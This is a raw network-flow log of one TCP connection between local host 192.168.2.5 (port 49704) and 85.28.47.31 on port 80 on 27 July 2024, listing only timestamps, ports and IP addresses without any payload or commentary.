Jul 27, 2024 09:25:06.328547955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328624964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328659058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328685045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328696966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328711987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328737974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.328741074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.328793049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.417879105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.417949915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.417985916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418020010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418055058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418067932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418087959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418102980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418123960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418139935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418171883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418176889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418211937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418229103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418243885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418267012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418277979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418301105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418329000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418329954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418363094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418385983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418400049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418418884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418433905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418456078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418487072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418520927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418520927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418541908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418557882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418570995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418591022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418608904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418625116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418643951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418658972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418675900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418694973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418711901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418730021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418745041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418762922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418780088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418798923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418813944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418833971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418847084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418884039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418885946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418919086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418931007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418952942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.418967962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.418987989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.419002056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.419023037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.419030905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.419056892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.419075012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.419090986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.419102907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.419123888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.419138908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.419157028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.419176102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.419190884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.419207096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.419223070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.419235945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.419255018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.419271946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.419295073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.419305086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.419328928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.419346094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.419363976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.419373989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.419392109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.419418097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.419442892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.457285881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.463018894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641015053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641083002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641084909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641122103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641135931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641155005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641166925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641189098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641197920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641231060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641242981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641284943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641294956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641328096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641340017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641361952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641371012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641393900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641405106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641427040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641436100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641460896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641467094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641494989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641500950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641526937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641537905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641568899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641586065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641618013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641629934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641650915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641664982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641685009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641695023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641727924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641736031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641768932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641782045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641799927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641812086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641833067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641844988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641866922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641875029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641899109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641910076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641931057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641940117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641963959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.641973019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.641995907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642009020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642028093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642040968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642060995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642070055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642092943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642102957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642124891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642134905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642158031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642167091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642190933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642201900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642221928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642230988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642257929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642267942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642290115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642301083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642323017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642333031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642354965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642364979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642391920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642396927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642422915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642440081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642458916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642468929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642491102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642499924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642524004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642537117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642560959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642568111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642595053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642604113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642627954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642637968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642661095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642671108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642693996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642704010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642726898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642735958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642760992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642770052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642795086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642807007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642827034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642841101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642858982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642869949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642890930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642900944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642924070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642930984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642956018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642963886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.642988920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.642997980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643022060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643032074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643054962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643062115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643086910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643100023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643102884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643117905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643126965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643132925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643137932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643147945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643156052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643171072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643172026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643184900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643208981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643383980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643399000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643414021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643420935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643428087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643435001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643450975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643454075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643465996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643479109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643492937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643492937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643507957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643516064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643523932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643537998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643538952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643546104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643553972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643564939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643567085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643575907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643583059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643590927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643598080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643608093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643613100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643619061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643629074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643634081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643644094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643651009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643659115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643665075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643673897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643685102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643688917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643703938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643707037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643714905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643718004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643724918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643733025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.643740892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643755913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.643769026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644279003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644294977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644309044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644323111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644325018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644335032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644336939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644345999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644352913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644365072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644366980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644378901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644383907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644388914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644411087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644422054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644424915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644444942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644459963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644467115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644474983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644490004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644503117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644505024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644512892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644520044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644535065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644541979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644548893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644557953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644557953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644567966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644572020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644584894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644587040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644598961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644602060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644610882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644615889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644625902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644630909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644639969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644646883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644654989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644661903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.644675016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644686937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.644706011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.645148039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.645163059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.645185947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.645200014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.736242056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.736315012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.736351013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.736383915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.736417055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.736443043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.736443043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.736443043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.736443043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.736464024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.736475945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.736525059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.736535072 CEST	80	49704	85.28.47.31	192.168.2.5
